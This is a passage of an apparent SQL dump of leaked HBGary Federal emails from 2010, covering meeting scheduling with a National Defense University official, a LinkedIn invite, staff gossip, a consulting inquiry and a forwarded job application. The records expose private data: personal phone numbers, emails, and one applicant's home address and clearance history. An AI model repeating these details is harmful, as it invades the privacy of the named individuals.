PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nHmmm not sure how can I check?\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 5:42 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nGreat.&nbsp;\r\nWill send invitation.&nbsp; Did you perm cert your clearance?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 5:41 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n900\r\non the sixth is good.\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 29, 2010, at 5:36 PM, &quot;Lachow, Irving&quot; &lt;LachowI@ndu.edu&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCan\r\nwe do 0900?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 29, 2010 3:48 PM\r\nTo: Lachow, Irving\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nWhat\r\ntime is good?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 29, 2010, at 7:40 AM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou free on the 6th?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Wednesday, April 28,\r\n2010 10:56 PM\r\nTo:&nbsp;Lachow, Irving\r\nSubject:&nbsp;Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nWhen\r\nwould you like to get together next? &nbsp;I think you said something about\r\nnext week?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nApr 6, 2010, at 3:45 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYup. See\r\nyou tomorrow.&nbsp;\r\n_____________________&nbsp;\r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;&nbsp;\r\nTo: Lachow, Irving&nbsp;\r\nCc: Ray Owen &lt;ray.owen@comcast.net&gt;;&nbsp;nathan.atherley@gmail.com&nbsp;&lt;nathan.atherley@gmail.com&gt;&nbsp;\r\nSent: Tue Apr 06 13:45:34 2010\r\nSubject: Re: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAre\r\nyou still planning on attending the Palantir conference tomorrow? &nbsp;HBGary\r\nwill have a booth, so please stop by.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn\r\nMar 19, 2010, at 6:11 PM, Lachow, Irving wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\nPenny.&nbsp; I appreciate the introduction and really appreciate the DDNA\r\nlicense.&nbsp; Before y&#8217;all send that along, let me connect Jim with our\r\nlab people and so they can work this out directly.&nbsp; They need to work the\r\nlegal process carefully&nbsp; and also assess where this would fit into the lab&#8217;s\r\ncurrent configuration.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\ngot your VM.&nbsp; Thanks for calling.&nbsp; The next week is crazy.&nbsp; Are\r\nyou going to the Palantir event on the 7th?&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCheers,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Friday, March 19,\r\n2010 2:11 PM\r\nTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nCc:&nbsp;\'Jim Richards\'; \'Aaron\r\nBarr\'\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIt\r\nwas great to finally meet you too.&nbsp;&nbsp; I&#8217;ll let you know when\r\nI&#8217;m out in DC.&nbsp;&nbsp; I&#8217;ll forward info to Greg.&nbsp; That\r\ndone, let me introduce you to Aaron Barr, CEO of HBGary Federal and Jim\r\nRichards, Global Training.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\nmeet Irving Lachow, Ray Owen and Nathan Atherley.&nbsp; Irving is spearheading\r\nthe development effort which we will be participating with Ray and\r\nNathan.&nbsp; I know we&#8217;ve tried to get with Ray when he&#8217;s out in\r\nDC, but feel free to contact Irving directly.&nbsp; He can be reached at\r\n202-903-7722 (mobile)&nbsp; Ray can be reached at 650-464-5570\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJim,\r\nplease send Irving Responder Pro with DDNA license for one year and Field\r\nEdition for his training room.&nbsp; Irving is at National Defense\r\nUniversity.&nbsp; Irving, the Responder Pro/DDNA is the instructor\r\nlicense.&nbsp; Responder Field Edition has a malware analysis module and\r\nforensic module.&nbsp; How many copies do you need for workstations?&nbsp;\r\nWe&#8217;ll also send you our training and some flip books that allow students\r\nto have a take away.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n300 5th&nbsp;Avenue Bldg 62\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarshall\r\nHall Room 183H\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFort\r\nLesley J. McNair\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWashington,\r\nDC 20319-5066\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTTYS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Friday, March 19,\r\n2010 8:25 AM\r\nTo:&nbsp;Penny Leavy-Hoglund;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi\r\nthere.&nbsp; Just wanted to thank you all for a very enjoyable dinner.&nbsp; It\r\nwas great company and I enjoyed learning more about HB Gary.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny,\r\nlet me know if you want POCs at Triumfant.&nbsp; Greg seemed interested in\r\nlearning more about them.&nbsp; Speaking of Greg, please forward this to\r\nhim.&nbsp; When you have a moment, can you connect me with your Federal\r\nteam?&nbsp; Finally, there is the link to the Palantir event in April:&nbsp;http://palantirtech.eventbrite.com/.&nbsp;\r\nI got the date wrong, it is April 7th&nbsp;not 5th.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRegards,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIrv\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 12:56 PM\r\nTo:&nbsp;Lachow, Irving;&nbsp;nathan.atherley@gmail.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;RE: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOK,\r\nsounds good\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Lachow, Irving\r\n[mailto:LachowI@ndu.edu]&nbsp;\r\nSent:&nbsp;Thursday, March 18,\r\n2010 7:01 AM\r\nTo:&nbsp;nathan.atherley@gmail.com;&nbsp;penny@hbgary.com;&nbsp;ray.owen@comcast.net\r\nSubject:&nbsp;Re: Thursday\r\ndinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNate,\r\nsorry about that. I hope you can join us soon. I don\'t have to leave for a SFO\r\nuntil 8 or so.&nbsp;\r\n_____________________&nbsp;\r\nSent from my Blackberry.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Nathan Atherley\r\n&lt;nathan.atherley@gmail.com&gt;&nbsp;\r\nTo: Penny C. Hoglund &lt;penny@hbgary.com&gt;;\r\nLachow, Irving; Ray Owen &lt;ray.owen@comcast.net&gt;&nbsp;\r\nSent: Thu Mar 18 07:55:30 2010\r\nSubject: Thursday dinner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRay,\r\nIrv, Penny\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJust\r\nto close the loop from my end.&nbsp; I talked to Ray last night and I believe\r\nIrv has got to catch a red eye tonight.&nbsp; So lets go back to the 6PM dinner\r\ntime.&nbsp; I will be there as soon as possible.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nnathan\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSpalti\'s\r\nrestaurant\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n417\r\nS. California Ave\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPalo\r\nAlto, CA\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n650-327-9390\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal\r\nInc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nBarr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary\r\nFederal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6873,'aaron_hbgary_com/6873.html'),(5838,'2010-04-29','\"Shane Shook\" <shane@shook.net>','/aaron@hbgary.com/new/1297004261.M828999P14101Q693.eml','\"Aaron Barr\" <aaron@hbgary.com>','Join my network on LinkedIn','\r\n\r\n  \r\n\r\n  \r\n\r\n  \r\n  LinkedIn\r\n\r\n            Shane Shook has indicated you are a person they\'ve done business with at PwC:\r\n\r\n  \r\n    I\'d like to add you to my professional network on LinkedIn.\r\n\r\n\r\n\r\n- Shane Shook\r\n  \r\n\r\n  &nbsp;\r\n\r\n   \r\n     \r\n         \r\n           Accept\r\n         \r\n          \r\n               View invitation from Shane Shook\r\n         \r\n     \r\n   \r\n\r\n   \r\n   &nbsp;\r\n   \r\n  WHY MIGHT CONNECTING WITH SHANE SHOOK BE A GOOD IDEA?\r\n  Have a question? Shane Shook\'s network will probably have an answer You can use LinkedIn Answers to distribute your professional questions to Shane Shook and your extended network. You can get high-quality answers from experienced professionals.\r\n  &nbsp;\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',14382,'aaron_hbgary_com/14382.html'),(5839,'2010-04-29','\"Lirette, Dave (TASC)\" <David.P.Lirette@TASC.COM>','/aaron@hbgary.com/new/1297004262.M327601P14101Q695.eml','aaron@hbgary.com,ted@hbgary.com','Heard that Eric Hallam is coming back to TASC','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nApparently to help get the new accounting system on line.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDavid\r\nP. Lirette \r\nSBIRS IA PM \r\n\r\nDavid.P.Lirette@TASC.COM\r\n1795 Jet Wing Drive, Suite 100 \r\nColorado Springs, CO 80916 \r\n719.622.5129 \r\nBB: 719.338-9984 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7285,'aaron_hbgary_com/7285.html'),(5840,'2010-04-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004262.M560045P14101Q696.eml','\"Lirette, Dave (TASC)\" <David.P.Lirette@tasc.com>,\"Lirette, Dave (TASC)\" <David.P.Lirette@tasc.com>','Re: Heard that Eric Hallam is coming back to TASC','Yeah, and Eric Jensen quit on the same day. He is going to Xetron. We are still on for tommorrow for lunch right?Ted\r\nOn Apr 29, 2010, at 5:33 PM, &quot;Lirette, Dave (TASC)&quot; &lt;David.P.Lirette@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\nApparently to help get the new accounting system on line.\r\n\r\n \r\n\r\n \r\n\r\nDavid\r\nP. Lirette &lt;image004.jpg&gt;\r\nSBIRS IA PM \r\n\r\nDavid.P.Lirette@TASC.COM\r\n1795 Jet Wing Drive, Suite 100 \r\nColorado Springs, CO 80916 \r\n719.622.5129 \r\nBB: 719.338-9984 \r\n\r\n&lt;image003.png&gt;\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12697,'aaron_hbgary_com/12697.html'),(5841,'2010-04-29','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004262.M72139P14101Q694.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Consulting Work','Sent from my iPadBegin forwarded message:From: David Willson &lt;willson.david.l@gmail.com&gt;\r\nDate: April 29, 2010 4:16:47 PM MDTTo: Ted Vera &lt;ted@hbgary.com&gt;Subject: Consulting Work\r\nTed, no rush and I know you do not have work right now, but I was curious as to the timeframe you might be considering for a consulting agreement.  The reason I ask is that I have hesitated setting up a business until I have some solid leads and so want to begin thinking about timing.  Also, I have attached a recently created market letter that helps provide a better idea of my experience and interests.  Thanks,\r\n\r\n\r\n \r\nDave\r\n \r\n\r\nDavid L. Willson, Esq.\r\nCISSP, Security +\r\n719-554-2129w\r\n719-648-4176c\r\n\r\n',513,'aaron_hbgary_com/513.html'),(5842,'2010-04-30','\"Ray Owen\" <ray.owen@comcast.net>','/aaron@hbgary.com/new/1297004262.M764667P14101Q697.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Friday meeting','Aaron,Didn\'t hear from you today, and I realize this was short notice. If you\'re available, I can come meet with you tomorrow. Or I will be in back in a couple more weeks, with more time to plan.&nbsp;Thanks,RayRay Owencell 650.464.5570On Apr 29, 2010, at 9:43 AM, Ray Owen &lt;ray.owen@comcast.net&gt; wrote:Aaron,I actually had to come east this week for several critical meetings, but i finish the last of those today. If you are available, tomorrow morning is free. I\'m staying in the Fair Oaks area. What would be convenient for you?Thanks,RayRay Owencell 650.464.5570On Apr 28, 2010, at 11:05 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:Hi Ray,Checking through email, seeing who I need to touch base with. &nbsp;Anytime in the near future your in town?AaronOn Apr 1, 2010, at 11:22 PM, Ray Owen wrote:\r\n\r\nAaron,\r\n\r\nI want to apologize for having a conflict tomorrow. When I planned this\r\ntrip, tomorrow was supposed to be a free morning before the flight\r\nhome. Then our government customer planned a Friday morning sponsor\r\nbriefing on the commercial integration demo proposal that includes\r\nHBGary. It was going to be government-only, so we still didn\'t have\r\nbeen a conflict. Then I got the message that government-only didn\'t\r\nexclude me. In fact, they wanted me to brief it. Great, except in the\r\nrush to review and tweak the briefing and change my return flight, I\r\ntotally spaced on our breakfast plans until I was updating my calendar.\r\n\r\nIf you are available tomorrow afternoon, I can travel to meet with you,\r\nor we can meet in Crystal City if that\'s convenient. Otherwise, I know\r\nI\'ll be back again in a couple of weeks.\r\n\r\nThanks,\r\nRay\r\n-- \r\n\r\nRay Owen|ray.owen@comcast.net|tel\r\n202.596.1829|cell 650.464.5570\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8898,'aaron_hbgary_com/8898.html'),(5843,'2010-04-30','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004263.M287621P14101Q699.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#fburk2zv7ce97ku4','Begin forwarded message:From: &lt;tanwa.thomas@gmail.com&gt;\r\nDate: April 29, 2010 9:25:37 PM MDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #fburk2zv7ce97ku4\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\nCover Letter\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTanwa  Thomas \r\n\r\nAugusta, GA  30909\r\nUS\r\ntanwa.thomas@gmail.com\r\n\r\n\r\n\r\n\r\n\r\nMobile:   \r\nHome: \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n													Download Job Seeker&#39;s Word® Resume\r\n\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\nfburk2zv7ce97ku4   Resume Headline: Intelligence Analyst  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nTanwa Thomas\r\n106 Champions Pines Lane, Augusta, GA, 30909\r\nCell: (325) 212-\r\n4189Email:  tanwa.thomas@gmail.com\r\n \r\nObjective:\r\nSeek\r\ning a challenging position as an All Source Intelligence Analyst; where my excellent briefing skills and strong leadership experience can contribute towards the growth and success of the organization and their customers.\r\n \r\nSecurity Clearance:\r\nActive Top Secret/ SCI\r\n Qualifications:\r\n- National Tactical Integration Analyst\r\n\r\nPerform all source intelligence analysis for NSA Georgia, conducting threat analysis and reporting in support of U.S Forces in the Middle East, North Africa and Southwest Asian theaters.\r\nPublish written reports as well as prepare and deliver daily intelligence briefings to high ranking military commanders.\r\nMonitor wide variety of intelligence databases and reports, \r\nidentifying key information from finished OSINT, SIGINT, IMINT and HUMINT reports to proactively disseminate to theater wide and national level users.\r\n Conduct in-depth intelligence research to answer requests for information from members of the intelligence community worldwide.\r\nFacilitate interactive information exchange between national SIGINT organizations and Air Force Intelligence, Surveillance and Reconnaissance assets for strategic and tactical use.\r\n\r\n \r\n-  ELINT Mission SupervisorManaged and oversaw success of ELINT Ground Control Processor missions ensuring accurate signals collection and analysis functions.\r\nExtensive experience \r\nexploiting, analyzing and disseminating SIGINT data and threat activity for near term and long term reporting.\r\nCreated KLEIGLIGHTs, serialized text and multimedia reports.\r\n - Extensive experience with analytical tools, reporting tools: \r\n\r\nHighly proficient with MS PowerPoint, MS Word, MS Excel, NSANET, JWICS, SIPRNET, Highcastle/Solaris systems, MSCS (Multisource correlation systems).\r\n \r\nTools/Databases:\r\nGALE-lite, CPE (Content Preparation Environment), WRANGLER, Google Earth, Metrics, Maui/Anchory, SKYWRITER, PATHFINDER, AMHS.\r\n\r\n Experience:\r\nIntelligence Analyst, United States Air Force\r\nAll- Source Intelligence Analyst, NSA Georgia                                     2008-2010\r\n\r\nTraining Program Manager DCGS ELINT system                                 2007-2008ELINT Mission Supervisor DGS-2, Beale AFB CA                                  2006-2007\r\nThreat/Signals analyst Ground Control Processor (GCP)                   2003-2006\r\n \r\nEducation\r\n/Training:\r\nB.A  Business Administration- Marketing Major\r\nStrayer University \r\nAssociate in Applied Science, Communications Applications Technology\r\n\r\nCommunity College of the Air Force\r\nAirman Leadership School – Distinguished Graduate\r\n\r\n\r\n\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nExperienced (Non-Manager)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDate of Availability:\r\n6/1/2010\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nIntelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployee\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-Time\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS-GA-Central/Augusta\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 50% travel\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n COVER LETTER\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI have extensive experience and skills that are relevant to this position. My particular expertise is in All source analysis and preparing and delivering briefings as well as intelligence research. I am also willing to deploy OCONUS.\r\n\r\nI believe I would be a good candidate for your position as an all source analyst. The best time to call is anytime after 1pm on my cell phone (325) 212-4189. \r\n\r\nThank you for your time and consideration.\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n* You may download a Word document of this resume from the Software Application Developer, Windows Platform folder. View Resume\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6385,'aaron_hbgary_com/6385.html'),(5844,'2010-04-30','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004263.M33755P14101Q698.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Confirmed: ConCall Agilex-LANL re: Oracle 